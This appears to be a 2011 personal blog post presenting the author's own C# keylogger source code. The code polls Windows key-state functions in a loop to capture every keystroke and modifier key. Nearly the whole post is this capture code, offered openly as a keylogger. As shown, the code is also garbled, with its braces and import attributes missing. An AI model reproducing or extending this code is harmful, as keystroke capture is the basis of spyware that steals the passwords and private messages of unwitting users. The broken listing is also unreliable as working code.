Saturday, April 16, 2011

Key logger in C#

This is the keylogger code which i have coded

Source code :-

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Windows.Forms;
using System.Runtime.InteropServices;

public class KeyLog
    //-> Declare GetAsyncKeyState().
    private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
    private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
    private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
    private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).

    //-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
    //-> Otherwise, returns null.
    //-> The pressed keys are returned in a List<string> as (string)char/key name.
    public List<string> getKey()
        List<string> myKeys = new List<string>(); //Declare the list of keys as int.
        for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
            int j = GetAsyncKeyState(i); //Get state of key i.
            if (j == -32767) //Check if key is pressed.
                if (i >= 65 && i <= 122) //From char 65 to 122
                    if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                    else if (ShiftKey) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else if (CapsLock) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else //Any other situation.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                else if (i >= 48 && i <= 57) //From char 48 to 57
                    if (ShiftKey) //If Shift is toggled.
                        myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
                    else //If Shift is not toggled.
                        myKeys.Add(((char)(i)).ToString()); //Numbers.
                    myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.

                //Check keys toggled
                if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
                    myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
                if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
                    myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
                if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
                    myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
                if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
                    myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
                if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
                    myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
                if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
                    myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
                if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
                    myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
                if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
                    myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
                if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
                    myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
                if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
                if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.

        return myKeys; //Return the list.

    //-> Get keys toogle state (on/off).
    #region Toggles
    public static bool ControlKey
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
    public static bool ControlKeyL
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
    public static bool ControlKeyR
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
    public static bool ShiftKey
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
    public static bool ShiftKeyL
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
    public static bool ShiftKeyR
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
    public static bool AltKey
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
    public static bool AltKeyL
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
    public static bool AltKeyR
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
    public static bool CapsLock
        get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
    public static bool NumLock
        get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }


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